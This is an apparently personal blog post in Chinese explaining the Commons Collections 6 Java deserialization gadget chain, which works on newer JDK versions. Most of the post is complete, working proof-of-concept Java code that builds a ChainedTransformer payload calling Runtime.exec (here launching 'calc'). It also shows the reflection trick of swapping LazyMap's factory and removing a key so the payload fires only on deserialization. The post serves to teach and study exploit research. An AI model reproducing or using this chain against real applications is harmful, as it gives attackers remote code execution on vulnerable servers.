Java反序列化CommonsCollections(六)
前言
这条链后边还是和第一条链一样都是利用了InvokerTransformer的transform方法反射调用任意方法 链一以及lazyMap链存在jdk版本的限制,因为两个链的入口是AnnotationInvocationHandler的readObject,但是8u71版本后这个readObject方法进行了修复。 cc6是对高本版的jdk的利用 增强了通用性,会利用到urlDns的部分链
环境
jdk1.8.0_71
分析
分析之前的lazyMap链知道 调用LazyMap的get方法 然后get方法调用了transform方法 之后还是接着之前的链 现在要重新找一个调用get方法的地方 注意到TiedMapEntry
中的 getValue方法调用了get
public Object getValue() {
return map.get(key);
}
hashCode中有调用了getValue方法
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
然后就是urlDns的链 hashMap中的readObject调用了hash方法
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
hash方法调用了hashCode方法
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map, chainedTransformer);
//第一个参数的map
// get方法中调用的是map.get
// 目的是调用lazyMap中的get方法 所以第一个参数是lazyMap
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>();
//hashMap的readObject时会调用hash方法
// 然后key.hashCode() 会调用key的hashCode方法 key的值为tiedMapEntry
//调用tiedMapEntry的hashCode然后待用getValue方法 然后调用get方法
map2.put(tiedMapEntry, "sss");
// serialize(map2);
unserialize("ser.bin");
}
这里序列化就会弹出计算器 此处还存在一个问题,就是在put的时候也会调用hash方法 可能会让结果不准确 这里就参考urlDns那条链 首先修改LazMap中的factory 让他在put的时候不调用chainedTransformer 然后在序列化的时候再修改成chainedTransformer
...
Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
...
...
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);
这样还是不行 调试跟一下 在put的时候 进入LazyMap中的get的时候
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
会判断key是否在map中 如果不存在 那么会将key再put进去 因为这里所以main函数中put之后这里的if条件是不成立的 因为可以在map中找到这个key 所以需要在序列化前 再将这个key给remove掉
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
//第一个参数的map
// get方法中调用的是map.get
// 目的是调用lazyMap中的get方法 所以第一个参数是lazyMap
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>();
//hashMap的readObject时会调用hash方法
// 然后key.hashCode() 会调用key的hashCode方法 key的值为tiedMapEntry
//调用tiedMapEntry的hashCode然后待用getValue方法 然后调用get方法
map2.put(tiedMapEntry, "sss");
lazymap.remove("aaa");
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);
// serialize(map2);
unserialize("ser.bin");
}
cc6链如下
hashMap->readObject
(hashMap)readObject->hash(key)
(hashMap)hash->key.hashCode() =>>key(TiedMapEntry)
TiedMapEntry.hashCode
(TiedMapEntry)hashCode->getValue()
getValue->map.get(key) map==LazyMap
LazyMap.get
get-->factory.transform(key) factory==chainedTransformer
ChainedTransformer.transform
InvokerTransformer.transform
Java反序列化CommonsCollections(六)
http://example.com/2021/09/19/OldBlog/java反序列化commonscollections六/